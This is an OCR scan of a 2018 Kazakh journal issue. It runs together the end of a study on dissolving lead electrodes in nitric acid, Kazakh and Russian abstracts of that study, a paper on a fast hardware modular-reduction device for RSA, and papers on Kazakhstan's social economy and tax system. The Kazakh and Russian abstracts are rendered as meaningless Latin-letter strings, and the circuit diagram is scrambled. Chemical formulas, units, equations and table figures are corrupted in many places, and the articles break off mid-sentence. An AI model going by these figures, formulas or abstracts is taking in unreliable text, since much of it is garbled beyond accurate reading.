mation of lead(Il) ions increases. An increase in the current output when polarized by a non-stationary
current of the industrial frequency is due to simultaneous chemical dissolution of the lead electrode (tab-
le 3).

Table 3 — Chemical dissolution of lead electrode in nitric acid

Cums> 1NO3 0.5 1.0 1.5 2.0 2.5 3.0

Am, g 0.0003 0.0106 0.0505 0.0861 0.0955 0.0723

For the determining of the order of the reaction, the influence of the concentration of lead(Il) ions on
various electrodes is studied. The rectilinear dependences Ig i - Ig [Pb(II)] are obtained, according to
which the order of the reaction was calculated equal: 0.5 on a lead electrode, 0.8 on a graphite electrode,
and -1.0 on platinum.

The effect of temperature on the electrochemical behavior of a lead electrode in an acidic medium
under polarization by a nonstationary current was also investigated. Based on the results of the research, it
is shown that with an increase in the temperature of the solution from 20 to 80 °C and a constant current
density on a lead electrode of 400 A/m?, the lead dissolution current output rises from 31% to 160%. It is
likely that an increase in the temperature of the electrolyte leads to an increase in the activity of the acid
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molecules, as a result of which both the mobility of the ions and the rate of formation of the final products
of electrolysis increase.

In a solution of nitric acid at a constant current density of 400 A/m* and a variation in the duration of
electrolysis in the range 0.25-1.25 h, the lead current dissolution rate of the lead electrode decreases from
98% to 12%. The decrease in current output with increasing duration of electrolysis is probably due to a
decrease in the concentration of lead(Il) ions in the volume of the electrolyte.

The influence of current frequency as one of the main electrochemical parameters is also studied in
the paper. Of particular interest, the study of the influence of the frequency of the current in the interval
500-3000 Hz on the electrical dissolution of lead in a solution of nitric acid had. An increase in the value
of the frequency of the alternating current leads to a decrease in the output current of dissolving the lead
electrode from 89.2% to 4%. This decrease is due to the shortage of the time of the electrooxidation
reaction in the anode half-period, that is, the rate of oxidation reaction of lead ions slows down according
to equation (1) as the frequency of the current increases, and the hydrogen ion reduction process according
to equation (2) is mainly observed.

As a result of carrying out electrolysis during the polarization of the lead electrode, the main product
of electrochemical synthesis is lead(Il) nitrate. X-ray phase analysis (ASTM 36-1461) was carried out,
which proves the identification of this compound [20]. All the reflections correspond to the phases of lead
nitrate Pb(NOs),: 4.5 A;3.92 A;3.5A;2.78 A;2.37 A;2.27 A; 1.97 A; 1.75 (figure 3).

45

el

e

1,96

Figure 3 — Radiograph of lead(II) nitrate
(ipp = 400 A/, igraphite = 20 KA/m?, C =2 M, t =20 °C, 1= 0.5 h)

The experimental results obtained during the polarization of the lead electrode by an industrial
alternating current in a solution of nitric acid showed the possibility of electrosynthesis of nitric acid
compounds of various metals. As a result of carried out studies developed of favorable conditions of
electrolysis: ip, = 400 A/m?; 1graphite = 20 kA/m* C=2-25M;1=0.5h; t=20°C;v=50Hz. Electrolysis
measurement data allow achieving high values of the current output of lead(Il) ions up to 96-98%.

Conclusion. Thus, on the based of the potentiodynamic polarization curves, the mechanism of
electrooxidation lead established and the kinetic parameters of the electrode process, which proceeds in
the diffusion-kinetic regime, estimated. Investigations of the basic parameters of electrolysis made it
possible to determine the optimum conditions for the preparation of the nitrate-acid salt of lead(II).

In the non-stationary mode of electrolysis, lead electrodes exhibit electrochemical activity and
dissolve in nitric acid with the formation of lead(Il) nitrate compounds. On the basis of the obtained re-
sults, the possibility of electrosynthesis of nitrate salts of metals used in various sectors of the national
economy is shown by electrochemical treatment of environmentally harmful metal waste.
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AVHBIMAJIBI TOKIIEH MOJIAPUSALIASAJIAY KE3IHJIE KOPFACBIHHBIH
KHUHETHUKAJIBIK 3EPTTEYJIEPI MEH 3JIEKTPOXUMUSAJIBIK KACUETTEPI

AnHoTtanus. [ToTeHIIMOIMHAMUKAIIBIK 9JIICTIEH KBIIIKBUIIBIK OpTaja KOPFAachlH JKoHE TPA(UT AIIEKTPOATAPHIH
allHBIMaJIbl TOKIIEH MOJSIpU3aLusiiay Ke3iH/le KOPFaChIHHBIH AJIEKTPOXUMUSUIBIK KACHETTePl MEH KMHETHUKAChl 3epT-
TesireH. KoprachlH a5IeKTpo/IbIH 1A aliHbIMAaJIbl TOKIIEH MOJISIPU3ALUsIIAY KE3iHAe KYPETIH JIEKTPOATHI MPOLECTEPAiH
MEXaHU3MIH aHBIKTAy YIIIH aHOMI-KATOATHI >KOHE KAaTOA-aHOATHI IMKIl MOJIIPH3ANUSIBIK KHUCBIKTAp TYCIPiII.
[Monsipu3auusuIblK  OJILeyIepAiH MajliMeTrTepi OOWBbIHIIA KHMHETHKAIBIK MapamMerTpiiep: 3apsja TackiMaiiaay Koag-
¢unmentrepi (o), 3AEKTPOATHI MPOLIECTIH IeTEPOreH Il KbUIIaMIbIK KoHCcTaHTachl (Kg) sxoHe 3(h(heKTHBTI aKTHBTEHY
sueprusicel (E,) ecentenren. 3eprreynep HoTHKeNepi OOWBIHIIA KOPFAChIH JIIEKTPOIBIHBIH 3JIEKTPOXUMHSIIBIK
OesceHLri XKoHe aliHbIMaJIbl TOKIIEH MOJISIpU3alMsIIay Ke3iH/Ae OHbIH SpTYpPJli KOCBUIBICTAPABIH CHHTE31H XKYprizyre
0O0aTHIHBI aHBIKTAJIJIBL.

Tyiiin ce3aep: KOprachlH, JIEKTPOA, alHBIMAIbBI TOK, DJIEKTPTOTHIFY, IEKTPIIK epy, KHHETUKAIIBIK ITapaMeTp-
aep.
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KHUHETUYECKHE UCCJIEJOBAHUA U QJIEKTPOXUMHWYECKOE ITIOBEJIEHUE CBUHIIA
IPHU NMOJIAPU3AIIMA TIEPEMEHHBIM TOKOM

AnHoTanusi. B paboTe uccienoBaHbl KWHETHUKA U 3JIEKTPOXUMHUYECKOE TTOBEJICHNE CBUHLA MPH HOJSIPU3ALIH
MepEeMEHHBIM TOKOM, IPOTEKAIOIIMX Ha CBHHIOBOM M TPa(UTOBOM 3JEKTpOJax B KHCIIOHW cpene MOTEHLUOH-
HaMH4YCCKUM MCTOIOM. I[.]'IH BbBISICHCHUS MCEXaHW3Ma SBJICKTPOAHBIX MPOLECCOB, MPOTCKAOMIUX IMPU MOJIApU3aALUN
NEPEMEHHBIM TOKOM Ha CBMHIIOBOM 3JICKTPOJC, OBLIH CHSITBI AHOOHO-KAaTOAHBIC U KAaTOJAHO-aHOJHBIC NUKIHNYCCKUC
MOJIAPpU3ALIMOHHBIC KPHBBIC. Ilo JaHHBIM MOJIAPU3alIUOHHBIX M3MepeHl/II>ll pacCUUTaHbl KMHCTUYCCKHUC IMapaMETpPhI:
k03(h(uLMeHTH IepeHoca 3apsiia (o), TeTeporeHHble KOHCTaHThl CKOPOCTH AieKTpoaHoro npouecca (kg) u addek-
TUBHas dHeprus axtupauuu mporecca (E,). [IpuBeneHHble pe3ynbTaThl yKa3blBalOT HAa BBICOKYIO 3JEKTPOXUMH-
YECKYI0 aKTHUBHOCTHb CBUHIOBOI'O JJICKTpOAda U IMEPCICKTUBHOCTL HMX HCIIOJB30BAHHSA B DJJICKTPOJIM3E IMPHU IOJIA-
pusau NEPEMEHHBIM TOKOM JJI1 CUHTEC3a PAa3JIMYHbIX COG[[I/IHEHI/Iﬁ CBHHIIA.

KiroueBble c10Ba: CBUHEL, MIEKTPOJ, IEPEMEHHBIH TOK, JIEKTPOOKUCICHHE, HIEKTPOPACTBOPCHUE, KUHETHU-
YECKHE MapameTphl.
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HIGH SPEED DEVICE FOR MODULAR REDUCTION

Abstract. It points to the advantages of hardware implementation of encryption. Hardware implementation of
cryptosystems allows to increase their speed. But the low-speed of asymmetric cryptosystems, in comparison with
symmetric cryptosystems, even with hardware implementation limits their application. The most used asymmetric
crypto algorithm is the RSA encryption algorithm. Modular reduction is a time-critical operation that slows down the
implementation of the RSA algorithm. The structure of a fast modular reduction device is proposed, in which a
modified division method with a shift of the remainders by two bit positions to the left is used. This allows to speed
up the receipt of the remainder twice.

Keywords: hardware encryption, asymmetric cryptoalgorithms, modular reduction.

Introduction. Cryptographic methods of information protection are indispensable in the transfer of
confidential information through communication channels, establishing the authenticity of transmitted
messages, storing information on storage media. Hardware implementation of cryptographic algorithms
allows you to perform data encryption much faster and safer than software implementation. The
development of modern microelectronics allows you to place the cryptoprocessor on a single chip [1-3].

Specialized hardware devices of cryptographic protection are not only more reliable and productive in
comparison with software encryption. The list of advantages of hardware encoders that realize both
symmetric and asymmetric crypto algorithms is much wider [4].

In practical implementation, the problem of high-speed symmetric cryptosystems (systems with a
secret key) is the problem of key distribution. To solve this problem, asymmetric cryptosystems (two-key
systems with a public key) were proposed. Asymmetric cryptosystems, in comparison with symmetric
cryptosystems, have a lower speed, but there is no problem of transferring and confirming the authenticity
of secret keys. Cryptography with public keys is better corresponds for key management and for protocols.

Algorithm of RSA encryption. From asymmetric cryptoalgorithms, the RSA encryption algorithm
(Rivest, Shamir and Adleman, 1978), which is based on an irreversible transformation (decomposition of
large numbers into prime factors), is most widely used in practice. RSA is part of ISO 9796, it is used as a
public key encryption standard in the banking sector of France and Austria. Currently, the RSA algorithm
is used in many protocols and programs, including:

— the S/MIME (Secure/Multipurpose Internet Mail Extensions) application layer protocol for
encrypting and signing in e-mail using a public key;

— the SSH application layer protocol, in which the algorithms for the digital signature of RSA (DSA)
is used for server authentication;

— the TLS (Transport Layer Security) presentation layer protocol and its predecessor SSL (Secure
Sockets Layer), which are the basis of HTTPS (Hyper Text Transfer Protocol Secure);

— a set of IPSec (IP Security) network layer protocols, including authentication, integrity check and
encryption of IP packets;
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—the STT (Stateless Transport Tunneling) tunneling protocol for network virtualization;

— the PGP (Pretty Good Privacy) program that allows you to perform encryption and digital signature
operations for messages, files and other information presented in electronic form, including transparent
data encryption on storage devices, for example, on a hard disk;

— a family of standards PKCS (Public Key Cryptography Standards) designed for secure information
exchange on the Internet using PKI (Public Key Infrastructure).

Therefore, many studies are focused at improving the performance of crypto-algorithm RSA.

Hardware solutions for modular reduction. To develop a high-speed RSA cryptoprocessor, it is
necessary to develop fast-acting blocks of hardware implementation of algorithm operations. The basic
operation of the RSA algorithm is the modular exponentiation of integers (a*mod p). This operation is
realized through multiplication, squaring and modular reduction. One of the approaches to improve the
performance of public key cryptosystems is the acceleration of these operations. The most complex of
them is the modular reduction operation, since it is the calculation of the remainder from dividing the
number by the module P, and the division operation is the most complex of the arithmetic operations.

Theoretical and practical questions of high-speed integer multipliers and quadrants for a different
class of computing systems are well developed, which cannot be said about the modular reduction. The
high-speed hardware solution of the modular reduction operation is a key problem in the hardware im-
plementation of asymmetric cryptoalgorithms that use the modular exponentiation of numbers, inclu-
ding RSA.

There are many different methods of calculating the remainder when dividing by the module P
[5-10]. When using the binary (usual) representation of integers, it is possible to distinguish three types of
device structures of modular reduction depending on the principle of remainder formation.

In the first type of devices blocks of formation of multiple modules P*i (i = 1, 3, ..., k) are used. Then
these values are simultaneously (in parallel) subtracted from the reducible number 4 on K adders. The
least positive remainder C;=A-P*i is the result [11]. This type of device has a high speed, but with
increasing values of 4 and P, the complexity of circuits and hardware costs increase. RSA uses numbers
of the order of 10°”, which makes it impossible to use this type of device in the practical implementation
of RSA.

The second type of devices uses the method of forming the remainders (7;) of the bit weights of the
binary number (2') from division by module P. The calculated remainders modulo 2' (i = 0, 1, ..., k-1) are
summed if the coefficients of the corresponding weights of the number A4; are equal to 1. The summation is
carried out successively on K-/ modulo adders P [12]. It is implemented by the formula: A mod P =

(Z’g_l(Zimod P)A;)mod P. Sequential summation on K-/ adders for large digits (k-/) has a negative

effect on the speed of the device.

The third type of devices uses various modified methods of a machine algorithm for binary division,
which leads to a wide variety of structures. When division is used with a divisor shift to the right, it is
possible to obtain various device structures, one of which is given in [13].

Device structure for modular reduction. In this paper, we consider a device for fast modular
reduction of a number with a shift of the remainder to the left. At each step of the calculation, the value of
either tripled (3p) or doubled (2p) or single value of the module (p) is subtracted from the remainder 7;-,
that shifted by two bit positions to the left. This allows to accelerate the calculation of reducing the 2n-bit
number A4 by the n-bit module P twice.

The binary representation (2p and 3p) and ones' complement (2p and 3p) of the doubled and tripled
module are precomputed. Then, previous remainder 7;.; multiplied by the four, i.e. 4r;; is compared on the
comparators with the values 3p, 2p, p and it is determined which of the following operations must be
performed in order to compute the value of the next remainder #;: ;= 4r,.; —p, or ;= 4r.; —2p, or r;= 4r.; —3p.
In the adder all operations are performed in the two's complement, so »;= 4r;. itptL ot = Argt 2ptl

or ;= 4ri;+3p+1 is determined and formed.

A functional diagram of such a device is shown in figure 1.

The device consists of a (2n+2)-bit register Rg4, where the reducible number 4 is stored and shifted
by two bit positions to the left, the register RgP for storing the n-bit module P, the adder AddI for
calculating the ones' complement of the tripled module value 3§ (by summing 2§ with p).

—— 148 ——




ISSN 1991-3494 Ne 6. 2018

l P
n
A
RgP
sl 8
: = ()
RgA « plr =
mm|zml  aind o |L@) P 1p
T n n
i | Si:f‘ —
Start R
St S T s
L1 —>] ’_' 1
cr nit2 . >| AND | 4nr w2 La)y
SN - Ji = S L)
DLz _
Eni2 : 3P" v 2P' ;v v i 73p Ana VZP ‘41“ "P
|AND10"AND9||ANDG| C““'2| |0°m|
. Jz il T b
|
o | [w07]  [ovoe]
v
Amil adi2 / +| ors ;“
v nt2
Amod P

Figure 1 — High speed device for modular reduction

Values of 3p are formed by inverting the output bits of AddI on the block of inverters /nvi. In the
comparator Com1, the codes 4r;; and p are compared.

If 4r;,< p, then a "0" signal is generated at its output. Conversely, if 4r;; > p, then the signal "/" is
generated at the output of this circuit.

The Com?2 compares the value 4r,; with the value of the module 2p. If 4r; ;< 2p, then at the output 1
of this circuit, the signal "1" is set. If 47, ; > 2p, output 1 is set to "0" and at the output 2 is signal "1".

The Com3 compares the codes 4r;; and 3p. If 4r,.;< 3p, then at the output 1 of this circuit a "/" signal
is formed and "0" is set at the output 2. In case, 4r.; > 3p, at the output 1 is formed by the signal "0" and at
the output 2 the signal "7 " is set.

Table 1 shows the executable operations, depending on the ratios of 4r;; with different values of the
modules p, 2p u 3p.

Table 1 — Executable operations for different ratios 4r;_; with p, 2p, 3p

Ratios Executable operations
4r<p 1 =4y
p<4r<2p ri=dro tptl
2p <4ri;<3p r=4r + 2+
3p <dr, ri=4ri +3pt1

According to this table, when 4r; ;< p, the value 4r,; with ORI gates is written without changes to
RgA.

With the ratios p < 4r, ;< 2p, a signal "I" is generated at the output of the AND6 gates, which is
simultaneously fed to the inputs of OR3 and ANDS gates, the second input of the ANDS gates are supplied
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with bits p. Output ANDS gates are fed to the right inputs of the adder Add2 via the OR2 gates. On the

left inputs Add?2, the codes of the value 4r;; are fed, and through OR3 the signal "+1" is fed to the input of
the lowest order bit position of this adder, the operation »; = 4r,; +p+1 is performed. The result through

the block of ORI gates is transmitted to the highest order bit positions of the register RgA.

When conditions 47,.; > 2p and 4r; ;< 3p are satisfied, a signal "/" is generated at the output of the
AND7 gates, which is fed to the input of the OR3 gate and the block of the ANDY gates. At the second data
inputs of ANDY are fed the bits of module 2 . Output ANDY gates through the block of OR2 gates are fed

to the right inputs of the Add2, and the code "+1" is supplied to the input of the lowest order bit position
and the operation r; = 4r;; + 25+1 is performed in the adder. The result through the block of ORI gates is

transmitted to the highest order bit positions of the register RgA.
With the ratios 4r;; > 3p from output 2 of the comparator Com3, a signal "I " is applied to the input of
the OR3 gate and to the control inputs of the ANDI10 gates. At the data inputs of AND10 gates are fed with

bits of the module p multiplied by three (3Z) from the outputs of the adder Add1. Codes 3 p through the

block of OR2 gates are transmitted to the right inputs of the Add2, to the left inputs of this adder bits of
code 4r;; are fed. In this case, the operation 4r;.; +35+/ is performed in the adder. The result of the

operation through the block of ORI gates is written to the highest order bit positions of the register RgA.

The high speed modular reduction device works as follows.

With the signal "Start”, the reducible number 4 and the module P by means of the blocks AND3 and
ANDA4 gates, respectively, are received in the registers Rg4 and RgP. From the true outputs of the register
the value of the true representation of the module p is transferred to the right inputs of the comparator
Coml and shifted to the left by one bit (2p) is fed to the right inputs of the comparator Com2. From the
complementary outputs of RgP, a ones' complement module p, which is fed to the data inputs of the block

of ANDS gates and to the left inputs of the adder AddI. The value 3p from output Add] is fed to the left
inputs of AND10 gates. The value 37 is inverted by the inverters block /nv/, forming the value 3p, which

is fed to the right inputs of the comparator Com3.

Also, with the signal "Start” through the block of AND2 gates the binary code of the number of
cycles K = n/2 is received in the subtracting counter of the clock pulses (CCP). In addition, the "Start"”
signal, the delayed on delay line DL/ for the time of recording information in Rg4 and RgP, is fed to the
one-input of the flip-flop 7. Flip-flop is set of to the one condition. The one condition of the trigger
permits the passage of the first clock pulse CPI to the output of the ANDI gate. Further, CP1 arrives at the
input of the shift register RgA and shifts it two bit positions to the left, increasing the contents of Rg4 by
four. At the same time, the value of the counter decreases by one by the pulse CP/. During shift of infor-
mation in RgA CP1 is delayed on DL2. After this, the shifted by two bit positions content of RgA through
the block of the ANDS gates is transferred to the left inputs of the adder Add2, Com3, Com2, Com|.

Further, depending on the ratio of the 4r;; code and the values of the modules 3p, 2p and p, a signal
"I" is generated either at the output of the AND6 or AND7 gates, or at the output 2 of the comparator
Com3. According to the generated signal "7", the calculation r; is performed with reference to table 1. The
resulting partial remainder ; by the block OR/ gates is transmitted to the register RgA, being memorized
in the highest order bit positions of the register RgA. At this point, the circuit receives a second clock pulse
CP2, which passes through the block of AND1 gate and shifts RgA another two bit positions to the left,
forming the value 4r;. Simultaneously, CP2 arrives at the subtracting input of the CCP and reduces its
state by one. The value 4r; from the outputs of the ANDS gates goes to the inputs 4dd2, Com3, Com?2,
Coml. In the adder Add2 the intermediate remainder r;+; is calculated, which is transmitted to the highest
order bit positions of the register RgA.

After the n/2" clock pulse arrives in the CCP, a zero code is set and the signal "End of operation” is
generated, which is fed to the zero-input of the flip-flop T and blocks the passage of the next clock pulse
to the output of the ANDI gate. The last clock pulse calculates the last remainder r,,,, which is stored in
the highest order n-bit positions of the register RgA, which is the result of the calculation. The result from
RgA, on the signal "End of Operation”, which was delayed on DL3, is output by the block the ANDI1
gates to the output.
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Results. The presented device allows to accelerate the calculation by reducing the 2n-bit number A
modulo P by two times. The number of cycles necessary to reducing any number A modulo P is defined as
K =n/2, where n is bits of the module P. For this device, a certificate of authorship has been obtained [14].

Conclusion. When processing a large amount of data on the same algorithm, the most productive are
the pipeline structures. When encrypting data, the modular reduction operation is performed for a large
amount of different numbers. Therefore, to increase the speed, it is advisable to use pipeline structures.
When pipelining, the whole process is divided into a sequence of completed steps. Each of the stages of
the division procedure is computed at its stage pipeline, with all stages running in parallel.

On the base of the modification of the above device, it is possible to construct a pipelined device for
formation of the remainders by arbitrary module P of the number A.
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FORMATION OF THE SOCIAL ECONOMY IN KAZAKHSTAN:
THEORY, METHODOLOGY, MECHANISM OF FORMATION

Abstract. The article presents the global trends in the formation of the knowledge economy of today's reality,
as well as qualitatively new requirements for human capital, not only as the main productive factor in creating new
highly efficient technologies, but also an important element contributing to the active development of the social
sphere, science, education, health, etc.

The change in the role of human capital in modern economic conditions is due to the transformation of know-
ledge into the main strategic resource, which causes the strengthening of scientific and practical progress as the main
aspect of innovative, socio-economic development of Kazakhstan, due to the need to form a social mechanism in the
context of political and social modernization of society The aim is to improve the level and quality of life of the
population, to mitigate the contradictions between the participants.

Keywords: formation, social economy, theory, methodology, mechanism, formation.

Introduction. Kazakhstan is building a new development strategy that takes into account the global
context that has changed in recent years. In general, this strategy is formulated in the Address of the
President of the Republic of Kazakhstan N.A. Nazarbayeva Strategy "Kazakhstan - 2050": a new political
course of an established state. "Solving the tasks set in the Message of the President N.Nazarbayev to the
people of Kazakhstan “Nurly Zhol - The Path to the Future”, overcoming global challenges, achieving
sustainable development requires the development of scientifically based approaches to the formation of a
new quality of human capital as a driving force of global development. The policy of modernization of
Kazakhstan qualitatively changes the requirements for the functioning of the entire social system.

The social sphere of modern Kazakhstan is largely associated with the social policy of the state to
solve social problems.

During the years of independent development of Kazakhstan, a good basis has been created for
carrying out an active and effective social policy, which is the main element of the systemic transfor-
mation of society in Kazakhstan.

The social policy of the state is aimed at improving the level and quality of life of the population, at
mitigating contradictions between participants in economic processes, and preventing social conflicts
based on the polarization of the life of various groups of citizens.

Our country is among the fastest growing economies in the world and provides two thirds of the total
income of all of Central Asia, representing only a quarter of its total population.

Main part. Since the state budget remains the main source of development of the social sphere, the
budget expenditures should take into account the specifics of the Kazakhstani economy, the condition for
effective growth of which is not only the priority development of knowledge-intensive and high-tech
industries, but also industries contributing to the reproduction of human capital, and in particular health
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care and education. The concept of socio-economic development is a fundamental strategic document that
scientifically substantiates the promising socio-economic development of a territory by defining the
mission, as well as strategic goals, functions and directions for the development of a region and the means
of implementing the selected priorities. The concept is comprehensive in terms of the scope of problems,
the nature and method of implementation of the document, built based on a systematic approach to the
management and research of territorial development and an objective analysis of the current socio-
economic situation. the strengthening of the role of the state budget in social processes is due to the
growth of budgetary funds and extra budgetary funds that are the financial base of social transformations,
the transition to a higher level of social services for the population of the country, as well as to equalize
the economic development of the country's regions through budget financing. The main role of the budget
is that it annually mobilizes and concentrates cash savings of enterprises, organizations and people in a
centralized state fund to finance the national economy, social and cultural events, strengthen the country's
defense, for the maintenance of state authorities and the formation of reserves.

The budget affects the economy through a budget mechanism. This shows the role of the budget as a
tool to influence the economy as a whole.

In our opinion, the following principles should underlie the concept of managing the socio-economic
potential of modernization:

— potential is a dynamic characteristic and is detected only in the process of its use;

— the use of the potential of the socio-economic system should be accompanied by a steady increase;

— Utilization and capacity building processes are continuous and complementary.

The determining feature of the modernization potential of the regions is the priority character of
not only the achieved level of the most important volumetric parameters, but also the dynamics of the
economic and social development of the respective territory, which fundamentally distinguishes the
potential ability of a particular region to modernize from the general level of its economic development,
characterized exclusively static (level) indicators, such as, for example, gross regional product.

The standard of living for 2013-2017

2013 2014 2015 2016 2017
Per capita nominal cash income of the population:
Tenge 56453 62271 67321 76575 81529
US dollars 371,1 347,5 303,6 223.8 250,1
index of nominal cash income, as a percentage of the previous year 108,9 110,3 108,1 113,7 106,5
index of nominal cash income, as a percentage of 1995 3280,2 36183 3911,8 4449 4 47373
Money Income Index 102,9 103,4 101,4 99,3 99,1
as a percentage of the previous year 2,9 2,8 2,7 2,6 2,5
qugentage of the population with incomes below the subsistence
minimum
The size of the subsistence minimum 17 789 19 068 19 647 21612 23783
Tenge 116,93 106,41 88,61 63,16 72,95

Per capita nominal monetary incomes of the population have an annual growth dynamics of ap-
proximately 10%, so there is a decrease in the proportion of the population with incomes below the
subsistence minimum by 0.1%. The size of the subsistence minimum also has a rapid growth rate of
approximately 10%.

Based on the conducted socio-economic analysis, we identified a rather low readiness of most regions
of Kazakhstan to implement modernization reforms. The main reasons for this are:

- insufficiently high level of GRP per capita in most regions of the Republic of Kazakhstan;
substantial depreciation of fixed assets in the whole of Kazakhstan, as well as significant differentiation of
the regions of Kazakhstan in terms of capital-labor ratio;

- low level of investment in fixed assets;

—— 154 ——



ISSN 1991-3494 Ne 6. 2018

- insufficient financial support of science and scientific research, low degree of innovation activity,
which is the reason for the low research intensity of production;

- uneven resettlement of labor resources, creating labor-surplus and labor-deficient regions;

- low level of life expectancy, population aging; high level of social and economic differentiation of
the population.

In general, the structure of the Concept for the socio-economic development of the regions of the
country, in our opinion, should look like this:

1. Assessment of the current state of affairs.

. Mission.

. General purpose.

. SWOT analysis.

. Priorities.

. Strategy for their implementation.

. Stages of implementation.

. The detailed plan of events for 2018-2020.
. A detailed plan of events for 2018.

According to the results of the study, the author of the work identified a set of main external and in-
ternal causes that impede the development of appropriate strategic documents of good quality: External
causes (independent of the developers):

In carrying out the socio-economic modernization of the country, it is advisable to eliminate the
shortcomings of the existing state regional policy and improve the methodological tools for managing the
socio-economic development of regions

The essence of the innovation approach to management consists in the orientation of the economy of
the republic towards the intensification of innovation activity, which is the engine of the economy and the
management system itself. At the same time, the factors of production and investment should be the means
of a scientifically based activity, and not its goal. The advantage of the above approach is that it assumes
the recognition of the constant variability of the highly organized environment in which the economy
operates. Therefore, it is necessary to reckon with the changes and adapt to them.

In the framework of the modernization of the regional economy, it is necessary to solve a number of
problems, the most important of which, in terms of the modernization strategy, are:

— implementation of large target projects and programs; mobilization and rational use of financial,
material, labor and other resources;

— the development of interregional integration of production, the formation of increasing the market
maneuverability and sustainability of the systems of corporate production and commercial associations
(corporations, concerns, associations, etc.), research and production complexes closely associated with
small business, large and diversified territorial and economic complexes and regional (zonal) markets with
significant commodity resources and market infrastructure;

— establishment of stable inter-district market relations;

— effective regulation of scientific and technical progress, the use and protection of natural resources,
the establishment of leading directions for the intensification of production and resource conservation;

— determination of regional and sectoral priorities of structural adjustment, investment activity,
organization of the system of state support for underdeveloped regions;

— establishment of rational and sustainable national economic proportions and relations, contributing
to the stability of a single national economic space. A schematic diagram of these works is presented in
Figure 3.

The peculiarity of the proposed scheme is its focus on general Kazakhstan tasks and parameters of
modernization transformations.

Kazakhstan, as a sovereign state, to achieve its strategic goals should have a management system that
takes into account the specifics of the republic to the maximum, due to centuries-old traditions, national,
economic, political and other features. All this should be reflected in the new managerial paradigm and
predetermine its specificity. Further reform of the Kazakhstani economy puts forward the requirement to
create a reform management system in accordance with the principles of innovative creative management.
Such management implies the ability to treat each problem being solved in the course of reforms in the
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integrity. At the same time, the formulation of the question, the development of methods for solving
managerial problems and the selection of the best available alternatives become a single dynamic process.
For sustainable economic growth, the concept of creating a mechanism of management renewal is needed,
which should motivate and give targeted organizational forms to innovations in management, and through
it in production and social spheres.

The essence of continuous planning is to develop a single document - a comprehensive plan
(program) for the development of the region for 5 years. At the same time, the first year is considered in
terms of (program - program) in detail, with a monthly (quarterly) breakdown of activities and planned
indicators, the second - more comprehensively, with a semi-annual breakdown of activities and indicators,
the third and subsequent years - without quarterly breakdown, in annual parameters. During the
preparation of the plan (program) for the next year, the measures for the following years are constantly
refined and supplemented, thus ensuring continuity and continuity of planning the implementation of the
strategy and its management.

To implement the tasks of modernization of regional socio-economic systems, the institution of
public-private partnership (PPP) has a significant potential. One of the conditions for forming an effective
economic policy, increasing investment and innovation activity, increasing the country's competitiveness,
and developing industrial and social infrastructure is the development of effective institutions for
interaction between the state and business, which will increase GDP growth rates compliance with the
needs of economic development, reduce the costs of all levels in the implementation of infrastructure
projects. At the same time, cooperation ensures the improvement of the quality and availability of socio-
economic infrastructure and factors of production, capital, labor, technology, as well as the development
of interfirm cooperation ties, promotes exports and attracting foreign investment.

Conclusion. The study of the dynamics of the development of industries at the republican level
shows their significance for the formation of indicators of the development of production and social
spheres of the regions, since the achievement of the overall Kazakhstani macroeconomic indicators for the
strategic outlook will be formed as a result of the functioning of regional socio-economic systems of the
country.

Thus, summing up, we can say that in the modern concept of the budget should be a reliable tool for
implementing the economic and social policy of the Government of the Republic of Kazakhstan. More-
over, the most important task at this stage is to ensure its transparency for all members of society. It is
necessary to ensure that the state budget becomes a means of stabilizing public finances. It must be turned
into a reliable support and guarantor for all beneficiaries defined by law.
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TRENDS OF DEVELOPMENT OF THE MANAGEMENT SYSTEM
OF THE TAX SPHERE OF RK IN MODERN CONDITIONS

Abstract. In this article tendencies of development and the perspective directions of development of tax policy
of Kazakhstan are considered. Tax system — the most important component of market economy. In article it is noted
that in the conditions of market economy the tax system acts as the main instrument of regulation of economy and
impact of the state on development of farms, definitions of priorities of social and economic development. Within
this article are analysed success of economic reforming in our country on degree of which the directions transfor-
mation of tax system of society how budgetary and tax policy of the state will meet the requirements of time depend.
It should be noted that the tax policy defining the principles and orientation of reform of tax system has to consider
dynamics of economic and social processes in society that predetermines requirement of a constant research of this
sphere of the public relations.

Keywords: tax system, tax institutes, tax administration, taxes, tax policy, tax benefits, tax mechanism.

Introduction. The tax system is one of the major economic regulators, a basis of the financial and
credit mechanism of state regulation of economy. It is obvious that success of economic reforming in
Kazakhstan to a large extent depends on in what directions transformation of tax system of the country
how tax policy of the state will meet the requirements of time will go.

The questions connected with achievement of optimum level of relationship between the power and
society were always important for Kazakhstan. But they have acquired special relevance during the
modern period when the country is in great need in development of such domestic policy by means of
which it will be possible to solve the most burning issues of modernization of the Kazakhstan society, to
overcome on this basis crisis tendencies in economic and social spheres. The important part in this
question is assigned to realization of tax policy which, on the one hand, has paramount value as the
instrument of impact of the state on economic behavior of participants of the market relations and
management of economic system. On the other hand, taxes and the system of the taxation act as object of
management which in the conditions of the market takes the form of tax management: state and corporate.
All who are somehow connected with taxes (public authorities, taxpayers) manipulate them, trying in
various ways to operate tax streams. And, with complication of tax systems and economic relations as a
result of globalization processes the role of tax management increases. Especially it concerns modern
Kazakhstan where the market relations and institutes weren't created finally in the developed look yet.

Results of a research. Development of market infrastructure includes formation of the effective tax
mechanisms providing growth of budget revenues and regulation of economic processes therefore the
view of tax system as the institutional unity of the legislation, administration, the certain taxpayer
harmonizing the economic relations of society is represented essentially important. The solution of the
problem of ensuring sustained economic growth and increase on this basis of the standard of living of the
population causes the need for further improvement of budgetary and tax system. In this regard the state in
process of management of the tax relations needs to pass from use of the mechanisms of mainly fiscal
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orientation focused on providing the minimum social standards to the budgetary and tax mechanism which
is actively realizing social and economic functions [1].

The tax mechanism can be defined as the internal device of tax system providing it functioning and
representing set of the interconnected elements: the legal support (including the tax law), information
support, methods of the organization, methods of management (including regulations); monitoring; ana-
lysis; forecasting; control (see the figure 1).

legal
security .
informational
organization methods
| .y
tax mechanism
management methods
monitoring
analysis of the
projected state and
) trends of the tax
system
analysis o
methods analysis of the actual
status and trends of the

tax system
A

short term
b Y s Y

prognostication medium term

Y Y

control long term

Figure 1 — Elements of Tax mechanism

In this regard there is a need for qualitatively other functioning of the tax system constructed on the
modern principles of public administration by civil society in socially oriented market economy.

Formation and development of institute of tax administration act as one of the making fundamental
transformations of tax system. Tax administration is the difficult social and economic and political phe-
nomenon reflecting degree of development of market infrastructure, mechanisms of public administration,
the principles of civil society. Therefore his studying is carried out by means of identification, the analysis
and forecasting of development of its institutional bases. Use of institutional approach allows to consider
reforming of tax administration as a harmonious element of system of institutional transformations and
market transformations that is extremely relevant for formation of the evidence-based strategy of deve-
lopment of domestic economy. The research of processes of formation of institutes of tax administration is
